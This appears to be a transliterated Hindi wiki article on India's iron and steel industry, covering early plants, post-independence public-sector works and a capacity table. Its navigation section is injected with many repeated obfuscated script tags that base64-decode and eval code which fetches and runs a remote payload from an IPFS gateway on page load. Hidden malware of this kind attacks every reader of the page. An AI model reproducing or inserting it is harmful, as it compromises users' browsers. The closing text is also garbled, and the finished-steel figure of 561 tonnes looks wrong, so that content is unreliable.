लौह इस्पात उद्योग

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

lauh ispat udyog ko kisi desh ke arthik vikas ki dhuri mana jata hai. bharat mean isaka sabase pahala b de paimane ka karakhana 1907 mean jharakhand^[1] rajy mean suvarnarekha nadi ki ghati mean sakachi namak sthan par jamashedaji tata dvara sthapit kiya gaya gaya tha. svatantrata prapti ke pashchath panchavarshiy yojanaoan ke antargat is par kafi dhyan diya gaya aur vartaman mean 7 karakhanoan dvara lauh ispat ka utpadan kiya ja raha hai.

lauh ispat ke karakhane

vikas ki drishti se dekha jay to sabase pahala karakhana sanh 1874 mean kulti namak sthan^[2] par 'barakar lauh kampani' ke nam se sthapit kiya gaya tha. jo 1889 mean bangal loha evan ispat kampani ke roop mean parivartit ho gaya.
1908 mean pashchim bangal ki damodar nadi ghati mean hirapur namak sthan par bharatiy lauh ispat kampani sthapit huee.
1923 mean dakshin bharat ke maisoor rajy^[3] ke bhadravati namak sthan par bharat ki pratham sarvajanik kshetr ki ikaee 'maisoor ayaran end stil vakrs' ki sthapana ki gee, jisako vartaman mean 'vishveshvaraiya ayaran end stil kan. li.' ke nam se jana jata hai.
1937 mean barnapur mean 'stil karporeshan aauf bangal' ki sthapana huee evan 1953 mean isakoan bhi 'indiyan ayaran end stil kampani' mean mila diya gaya.

pramukh karakhane

svatantrata prapti ke pashchath dvitiy panchavarshiy yojana kal (1956-61) mean sarvajanik kshetr ke tin pramukh lauh ispat karakhane sthapit kiye gaye-

hindustan stil li., bhilaee (durg zila, chhattisagadh)
hindustan stil li., raurakela (sundaragadh zila, u disa)
hindustan stil li. durgapur (vardhaman zila, pashchim bangal)

any karakhane

tritiy panchavarshiy yojana kal (1961-66) mean jharakhand ke bokaro namak sthan par ek naye karakhane ki adharashila rakhi gayi, jisamean chaturth panchavarshiy yojana kal mean hi utpadan prarambh ho gaya vartaman mean lauh ispat ka utpadan karane vale uparyukt 7 karakhanoan ke atirikt aandhr pradesh ke vishakhapatanam ispat sanyantr se utpadan praranbh ho gaya hai. yah sanyantr desh ka pahala aisa samanvit ispat karakhana hai, jisane aee.es.o. praman patr prapt kiya hai. sath hi karnatak ke bellari zile mean haspet ke samip vijayanagar ispat pariyojana tatha tamilanadu ke salem zile mean salem ispat pariyojana nirmanadhin hai.

sarvajanik kshetr mean karakhane

vartaman samay mean bharat mean tata 'ayaran end stil kampani' (tisko) tatha 'iandiyan ayaran eand stil kanpani' (isko) niji kshetr mean karyarat haian. tisko ki ganana desh ke sabase b de ispat karakhane ke roop mean ki jati hai. bhadravati sthit 'vishveshvairayya ayaran end stil kan. li.' ka niyantran karnatak sarakar tatha 'stil athariti aauph indiya li.' (sel) ke hathoan mean hai jabaki shesh karakhane sarvajanik kshetr mean kary kar rahe haian, jinaki kul utpadan kshamata nimnavat haian-

sarvajanik kshetr ke ispat sanyantro ki kshamata
sanyantr	nirdharit kshamata
	(1997-98)	(hazar tan mean )
	kachcha ispat	bikri yogy ispat
bhilaee	3,925	3,153
durgapur	1,802	1,586
raurakela	1900	1,671
bokaro	4000	3,156
selam	-	175
mishr ispat sanyantr	-	184
isko	325	327
kul samanvit ispat sanyantr	11,952	10,252

2007-08 ke dauran desh mean kachche lohe ka kul utpadan 538.6 lakh tan hua. isi avadhi ke dauran taiyar ispat ka utpadan 561 tan hua.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ tatkalin bihar
↑ pashchim bangal
↑ vartaman karnatak

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] tatkalin bihar

[2] shchim bangal

[3] vartaman karnatak

[1]

[2]

[3]